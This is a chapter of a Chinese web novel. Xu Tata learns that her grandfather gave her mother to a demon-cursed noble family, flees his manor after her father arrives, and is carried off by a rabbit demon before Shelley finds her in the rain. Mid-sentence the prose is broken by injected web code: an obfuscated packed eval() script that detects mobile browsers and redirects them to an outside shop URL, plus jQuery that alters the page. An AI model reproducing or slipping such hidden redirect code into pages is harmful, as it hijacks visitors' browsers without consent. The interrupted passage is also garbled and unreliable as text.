“是我害了阿斯娜。”
温博说,纳尔森家族想要发展就得依靠主家的帮助,为了占据更多的机会,他们把女孩儿送到奥斯利亚家族里做佣人,因为有血缘关系在,主家不会苛待她们反而能提供受教育和一份有薪水的工作。
阿斯娜很小的时候就成为了主家的佣人,和那些云雀一样,是陪康斯坦丁少爷一起玩儿的。
温博说自己难得见到一次阿斯娜,一是因为忙二是因为她常住德岛的缘故,所以就忽略了她表现出来的痛苦。
徐塔塔皱着眉听着:“所以外公把妈妈像我一样卖给了奥斯利亚家族,是吗?”
“不是卖…这本来就是传统…”
温博纠正她:“因为只有奥斯利亚家族的血亲才能有资格,我的女儿阿斯娜成为当时康斯坦丁少爷的玩伴,我非常荣幸。”
“我也是为了我们的前途好,如果我像珍妮薇尔一样把阿斯娜留在家里,她又能有什么生活乐趣呢?”
“但是妈妈同样不高兴。”
“外公,你不要和我绕弯子了…舅舅他们说是我妈妈做了那样的事情才导致康斯坦丁少爷死了…我想你一定比他们知道得更清楚。”徐塔塔说:“都告诉我吧。”
温博的慈祥神色逐渐覆上了一层阴冷。
“主家的长子会夭折——看你的神色,你应该是知道的吧?当年的阿斯娜因为痴恋康利先生,把康斯坦丁少爷的生命终结了,康利先生提前成为继承人,那会他是给我们很多好处不错,但毕竟阿斯娜干了不该干的事,所以才对我们进行的报复。真相就那么简单,徐塔塔。”
“奥斯利亚家族的长子夭折是因为什么变成家族传统的呢?因为供奉了恶魔吗?”
“你问这些干什么?”温博看起来不打算回答。
“我需要知道这些。”
“对你有什么好处呢?”
“我见到那只恶魔了,外公。”徐塔塔决定把真相说出来:“那个不知道是叫伊利克斯还是有别的名字的恶魔,我被它困扰,我也很痛苦。”
温博的神色如常,似乎早就知道。
徐塔塔站起来,看着他,突然意识到了什么,温博的话冠冕堂皇,说着什么给女儿阿斯娜谋取一份体面快乐的工作,实际上是把她送到恶魔跟前去了,就像对待自己一样。
被恶魔缠上能有什么好下场?
“你卖掉了自己的女儿,卖掉了女儿的女儿。”徐塔塔感到前所未有的平静:“原来如此,我知道了,你把女儿献给恶魔,换取家族的发展,在她被恶魔指使干了坏事,拿了好处后迅速和她切割。”
“温博先生,我想我该走了,谢谢这段时间给我的照顾。”
徐塔塔知道再问什么下去也没有用,核心的关于奥斯利亚家族受诅咒的那一部分,温博是不会说的,说出口就意味着呼唤恶魔的注视,要倒大霉。
“你要去哪?小阿斯娜?”见她拎着东西要走,温博连忙站起身,说:“关于祂的事情我不能告诉你,你去哪?这么晚了,要走也是明天再走。”
“除了这儿,你难道还有地方可以去么?”
被拦住的徐塔塔毫不畏惧地看着温博:“反正我不会待在这里,温博先生,你说得没错,我要感谢你给我找的一份有薪水的工作,我想我该回去上班了。”
温博看着面前穿着精心打扮过的小姑娘,她和阿斯娜并不很像,但是眉眼间能看见他女儿的影子,有些不忍,说:“你还会和我保持通信的,对吧,小阿斯娜。”
“也许…”
“今天晚上留下来吧,我会想办法给你一些补偿的,你要知道,我们这也是没有办法。”
徐塔塔看着面前留着胡子花白的温博,摇摇头,“不要,我已经知道真相,怎么还能留在你身边呢?我会给你写信的,说真的,我要走了。”
她不能再留在这里了,和雪莱说的没错…期待那么久的亲情也不过如此,和她想象的不一样,温博是商人,商人最看中的果然还是利益。
还留在这里干什么?
徐塔塔推开他就要走,今天晚上随便找个什么地方过夜都行,她不想待在这里。
温博说得很隐晦,但她就是知道他一定是把妈妈阿斯娜卖给了奥斯利亚家族做云雀,让她面对那样的事情那样的生活,包括后来哄骗她!
他对她们的痛苦视而不见!
对一个卖女求荣的家伙,她还有什么好期待的。
徐塔塔的心里只有羞耻和怨恨,她提着行李推开温博,不管不顾地要往前走,温博一只手撑在墙壁上,一只手捂着胸口,想让人拦下她,有个仆人快步走过来,对他说,门口外又来了个人说想见他。
“什么?等等,拦住小阿斯娜!”温博一听名字,赶忙让人先把徐塔塔拦住。
徐塔塔跑下楼梯,迎面撞见了珍妮薇尔。
小姑娘一脸担心地问她怎么了,徐塔塔说:“我要走了,表亲,我会给你写信的。”
珍妮薇尔追着她的步伐出去,问:“可是天色那么晚了,你要到哪里去?”
可徐塔塔只是一味的往前走,珍妮薇尔只好停下来,一脸伤心地看着她,最后下定什么决心似的,追上来,帮她拿行李,说:“我帮你,我知道还有一个小门出去。”
温博派人来追她,她今晚就别想离开这儿。
在珍妮薇尔的帮助下,徐塔塔很快来到了小肯特庄园的侧门。
在珍妮薇尔让仆人把门打开让她快走时,门外突然出现了一个人,但见他身形瘦削,一身灰扑扑的工装,看起来是附近的homeless,但是乞丐怎么能来到这儿的?
“徐塔塔?”那个人发现了站在门后的两个小姑娘,认出了其中一个是自己女儿,几步上前就要冲进来:“果然是你,我在密西河边上看见的就是你吧?”
开门的仆人拦住他,不让他冲进来,和他扭打在一起,那个家伙一边挣扎一边表明身份:“是我,是爸爸!”
“爸爸?”徐塔塔愣住了。
她没想到会在小肯特庄园这儿能再见到自己的爸爸,这太意外了,同样觉得意外的还有珍妮薇尔。
威尔那天在密西河边上看见徐塔塔后,很快和自己的经理请了一个假,搭乘列车前往温博所在的城市,他凭借多年前的记忆和信封上的地址,硬是找到这儿来了。
他要见温博,没有预约和邀请进不来,他打算找个角落翻墙进来,没想到在这儿看见了被卖掉的女儿。
徐塔塔看见他,倒是退后两步,脸上没有久别重逢的喜悦,倒是应激般的警惕。
“先生,没有预约,小肯特庄园不对外开放,请你出去,不然我们会让警员把你抓起来。”
“温博先生可是我的岳父,阿斯娜是我的妻子,那孩子——看见了吗?那可是我的女儿!”
威尔大叫道:“徐塔塔,你在那里发什么呆?快来帮帮你爸爸!”
徐塔塔只感觉害怕,怎么办?怎么连威尔也要来挡路?现在出去,绝对会被他抓住。
他来干什么?
来找温博吗?
那最后为了让温博妥协,很可能又要把她推出去。
“爸爸,你来这里干什么?”徐塔塔把珍妮薇尔拉到身后,看着这个浑身脏兮兮的男人。
或许爸爸在她小时候对她真的很好,但痛苦也是真的,离开了维诺农场后,她过得要比他在时候好很多。
“你先让这家伙放开我!”
威尔说:“我得站起来跟你说话。”
珍妮薇尔让看守的保安放开威尔,一脸担忧地躲在徐塔塔身后,看他想干什么,不行随时准备叫人。
“那群混蛋逼迫我签下合同后,让我到了码头去卸货——这份工作几乎要压垮我,我来让温博先生看在阿斯娜的份上,再帮帮我,帮我脱离那个码头。”威尔的意图是这个。
他瞧着徐塔塔和她身上看起来面料就很好的衣裳,问:“你呢?你最近过得怎么样?那天我看到你了,在车子上的那个小子是谁?”
“看你的神情,温博说给你安排的好去处也不是什么好地方吧?你说话,那个小子是谁?”
回忆起两人搂搂抱抱的威尔皱皱眉,说:“这个老混蛋难道真的把你卖给谁了吗?你现在跟我到温博面前,我们父女俩跟他把话说清楚。”
“我不去。”
“为什么?”
徐塔塔虽然对爸爸没有任何期待,但毕竟从小生活在他的阴影里,面对面对峙,不敢抬头直视他:“我现在要走了。”
“你去哪里?”
“回风信子庄园。”她嚅嗫着说:“我是请假来探望外公的,我把该问的都问了,现在就要走,我不想留在这。”
“不行。”威尔说:“有你在才好谈。”
“你不知道吧,那个老混蛋把自己女儿随便卖出去,他要是还有良心会对你心存愧疚的,徐塔塔,你就当帮帮爸爸,你去求他。”
“不要,我要走。”
“你现在敢这么跟你爸爸说话了?”威尔很不满,他看向一旁的珍妮薇尔,认出她来:“你是本杰明的女儿?正好了,我是你姑姑的丈夫,把我们带到你爷爷面前,我有话要说。”
珍妮薇尔退缩到徐塔塔身后,一直摇头,她也害怕这个衣衫褴褛的家伙,但是他的话又叫她很吃惊。
什么意思?
爷爷卖了谁?
“爸爸,别吓唬珍妮薇尔,也别在这里闹了,对我们都不好,走吧。”徐塔塔语气冷漠:“这里不是我们能胡来的地方。”
威尔的脸上变得难看,他虽然在外面过得窝囊,但面对自己生的——他有绝对的统治力,“你怎么用这种语气同我说话?你过来!”
“你这小丫头,过了几天好生活把自己爸爸给忘了吗?你还不知道你妈妈当初也是像你一样,卖给了别人当朋友,最后落得那样的下场吧?”
他抓住了徐塔塔,想把她往里带,但徐塔塔极力反抗,珍妮薇尔也过来帮她,负责看门的仆人也过来扯开两人,几人拉扯成一团,正混乱之际,被派来拦人的管家也到了,温博紧跟其后。
刚才就有仆人来报,说门外一个叫威尔徐的家伙在门外说想见温博,温博赶紧派人出来拦住要走了徐塔塔,没想到还是给他们撞见了。
“你来干什么?”温博见了威尔就皱眉,整个人脸上都凌厉了:“不是告诉过你不准来这吗?”
“温博先生,真高兴见到你,我是想来跟你说说我们上次在信里谈及的内容——”
“有什么好说的?我已经尽我最大的努力帮你了,但银行那边我也没有办法,你好好工作,把贷款还上。”
“可是我的身体马上就要撑不住了,我哪里还能干的下去?”威尔拉扯着徐塔塔:“看在阿斯娜的面子上,你为我的女儿也考虑考虑,别让她小小年纪没了爸爸。”
“威尔!你这家伙!你来这里干什么?谁允许你进来的?出去——”本杰明也到场,看见自己女儿珍妮薇尔也在,怒不可遏:“你也来胡闹,给我滚过来!”
珍妮薇尔被迫离开徐塔塔。
“原来是本杰明,好久不见,看在阿斯娜的面子上,我也算是你们家的一员,你的妹夫,为什么每次见了我——”
“闭嘴!你给我闭嘴!”本杰明指着他大骂。
“好好好,你们难道连这个小忙都不肯帮我吗?要我怎么样求你们?要我和我的女儿给你们下跪吗?”
威尔原本就是抱着极强的目的性来求他们的,如果今天不能让他们换个工作,他之后肯定要完蛋,叫嚷起来:“你们要是不帮我,我就把你们的秘密到处给人说,我看谁都损失更大!”
“体面?现在要体面的不是我!”
夹在其中的徐塔塔简直忍无可忍,她知道再待下去可能会有走到更难堪的地步。
这群大人会再一次把她摊在明面上公开售价。
她摸了摸脖子上的钱币,召唤恶魔对她来说都无所谓,甚至觉得跟恶魔待一起都比现在好太多。
“哦?看我赶上了什么现场?家庭伦理还是一触即发搏斗大赛?”
披肩短发的兔子恶魔出现在墙头上。
他双手捧着脸,嘴角挂笑,不像暗夜里前来收买人心的恶魔,倒像是无良书生爬墙要跟小姐幽会,饶有趣味地看着即将上演的一出好戏。
“美丽的小姐,”他饶有兴趣地和徐塔塔打招呼,兔子眼里满是狡黠:“今天的愿望是什么呢?”
“带我离开这里吧,随便去哪里都好。”
徐塔塔仰着脸看他,表情隐忍。
她再也不想和这群人搅和,随便去哪里都好。
小恶魔察觉到了她郁闷的心情,端详她许久,从墙头上一跃而下:“虽然作为乙方我不该问的,但是这么珍贵的血钱,你居然只用来实现这么一点小事么?”
“那你别要,就当帮我个忙。”
“当我没说。”
小恶魔闲庭信步,在人群里这看看那看看,有些不满:“还是你有本事,把我最讨厌的人们都聚集了起来,你要是不想看见他们,不然把他们都杀了。”
说完他的手指作枪状,抵在珍妮薇尔脸上,大概在场只有这个女孩能够到额头:“一劳永逸,怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446181|197752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样?”
“不要。”
这个家伙一出现准要没有好事情,他是真能干出这种事的,徐塔塔说:“血钱给你,快点兑现承诺,带我走。”
那枚奇特的硬币到了小恶魔手上,他把玩着它,有点可惜:“真的不打算这么干吗?真的很可惜欸。”
“别废话”徐塔塔看起来真的很急切了,夺过他的手,用力一吻:“快点吧。”
小恶魔的目光顺着被她抓着的手落在她的脸上,叹叹气,反手抓住了她的腕子,将她的膝盖弯顶在胳膊上,就这么给她举了起来。
突然之间被小恶魔抱起来的徐塔塔下意识地也攀住了他的肩膀,忍不住大叫:“你干什么?放我下去!”
小恶魔后腿发力,往上一跃,像是一只矫健的鸟儿,轻松地飞跃了小肯特庄园的围墙,他哈哈地笑,并不把徐塔塔放下来。
“我们也会给大客户提供附加服务的,放心,我不会公报私仇的,抓紧就是了。”
也不管徐塔塔吓得哇哇叫,小恶魔就这么单手抱着她,脚底像是有弹簧似的,向前跳得又高又远,而后带着她自然下落,又跳起来,落下,两人的发丝衣摆都跟着飞舞。
“这不好玩,你放我下来。”眼见小肯特庄园已经离他们已经很远,徐塔塔揪着他领口的衣服:“我自己能走。”
“现在就这么走了,以后想起来这座城市可只能想得起来眼泪的味道,徐塔塔,今天可是节日欸,不打算去看看人们装点得漂亮的树和灯吗?”
小恶魔罕见地没有说烂话攻击她,也没把她撇下,话语里居然还带了一分温情。
像烂人在得手之后难得展现一点人性似的。
“我自己会去看的。”徐塔塔绝不动摇。
“现在把你丢下,你能去哪里呢?”
“不用你管。”
“拜托,你可是我现在跟的大客户,要是跑单了,我会很伤心的,现在节日大酬宾,我免费带你看看夜景吧,魔鬼亲自服务陪伴,你也不算亏。”
小恶魔落地,将她完全地抱在怀里,而后再次起跳,风声呼呼地从耳际穿过——
徐塔塔在高空里看见了这座城市的模样,连绵不绝的灯光交错,繁华的街道车水马龙,灯红酒绿,能看得到人头攒动,而灯光稀疏的地方失意之人相互拥抱。
“很有意思是不是?”
“没有,放我下去。”徐塔塔恐高。
“很不懂享受嘛,徐塔塔。”
“任谁坐在恶魔怀里都不可能说出享受二字好吧!”
“呵呵。”小恶魔只是笑,带着她跳来跳去,像是一只装了弹簧的兔子,从教堂的尖顶飞到大厦顶端,又从大厦一跃而下,跳到了矮楼的屋脊上。
对徐塔塔的体验完全谈不上是什么享受什么大酬宾,倒像是惩罚她过节还要把他叫出来上班。
“够了!”
被吓得有些麻木的徐塔塔扼住他的脖子,“放开我!我对你的诉求只有把我从小肯特庄园带出去。”
“好吧——”小恶魔玩得尽兴被突然打断似的没趣,努努嘴,“那么,该将你送到哪里?”
“把我放下来,然后在我面前消失。”
徐塔塔刚落地,小恶魔就像一阵尘埃般消散在空气里,终于只剩她一个人了。
四下里静悄悄的,只有昏黄的路灯闪烁点点暖光。
逃出来了。
徐塔塔用袖子擦擦脸,想着自己该怎么办,她应该先找个地方住下来,不然没地方可以去…她发现自己面前不远处有个电话亭,一位长风衣的女士在打电话。
电话亭里的打电话的女士发现了站在玻璃外直勾勾瞧着自己的徐塔塔,虽然穿着精致,但脸上惨兮兮的,以为她是想来讨钱。
女士挂断电话后走出来,把手里的零钱塞到她手里,摸了摸她的脑袋,说:“merrychristmas,小姑娘,开心一些。”
捏着一把零钱的徐塔塔走进电话亭,她看见了投币口,试探地把手里的钱币塞进去,拨打了德岛庄园的号码。
打不通。
再投。
还是打不通。
德岛庄园的专线不是这边公用电话亭能接到的。
这条路上的行人很少,天上飘来了一片乌云,看起来像是要下雨。
怎么也打不通的徐塔塔把话筒放下,抱着自己的行李坐在电话亭里,飞快地想着该怎么办?
她身上还有一些钱,住旅馆没问题,但是问题是需要身份登记,那就去黑店…雪莱说过住黑店的风险很大,说不定就会被人绑走然后彻底人间蒸发!
或者去找一个人多的地方待着,今天如果不下雨的话,应该会有基督游行…
雨滴落在玻璃上。
下雨了。
天不遂人愿。
徐塔塔心情越发烦闷,她想,要不干脆在这儿呆一晚上,然后天亮了找一辆车去德岛庄园,投奔雪莱好了。
加里敦州的降雨总是很丰富,不论季节下起来都很大,打在玻璃上噼里啪啦地响。
真倒霉。
徐塔塔忍不住哭了,期待已久的亲情也破灭,大人们都不可靠,以后只能依靠自己,她骂自己真蠢真笨,为什么还要对这些东西抱着希望呢?
她把脸枕在膝盖上,有些恹恹地整理心绪。
突然有人敲了敲玻璃门,沉浸在悲伤里的徐塔塔沮丧地以为是谁要用电话,慢慢地站起来,抱起行李要往外走,还说了句抱歉。
被人扯住衣服。
“怎么了,徐塔塔,”声音清润好听,有点熟悉:“为什么躲在这里哭?”
徐塔塔猛地回神,发现居然是雪莱。
他撑着黑伞,穿着正式,带斗篷的上装,短裤长靴,甚至还有一条白边蓝底的绶带装饰,白绸的蝴蝶结落在肩上像一朵大花,像是刚刚参加了什么老派绅士举行的晚宴归来。
“看起来,不是很如意啊。”他垂下睫毛,笑了下,也没有嘲讽的意味,而是一种意料之中的了然:“现在完成心愿了吗,我们回去吧。”
徐塔塔看着他递过来的手,又看了看他。
“不愿意吗?”雪莱的表情有些为难:“可是现在下雨,你在这座城里没有地方可以去。”
“…凭什么?”
“诶?”
“凭什么要我这么落魄?”
徐塔塔抬手把雪莱的头发揉成一团乱,最后揪着他散乱的绶带,低头在他的胸口泪流不止。
“真讨厌。”
雪莱拨了拨自己散乱的长发,叹叹气。
“走吧徐塔塔。”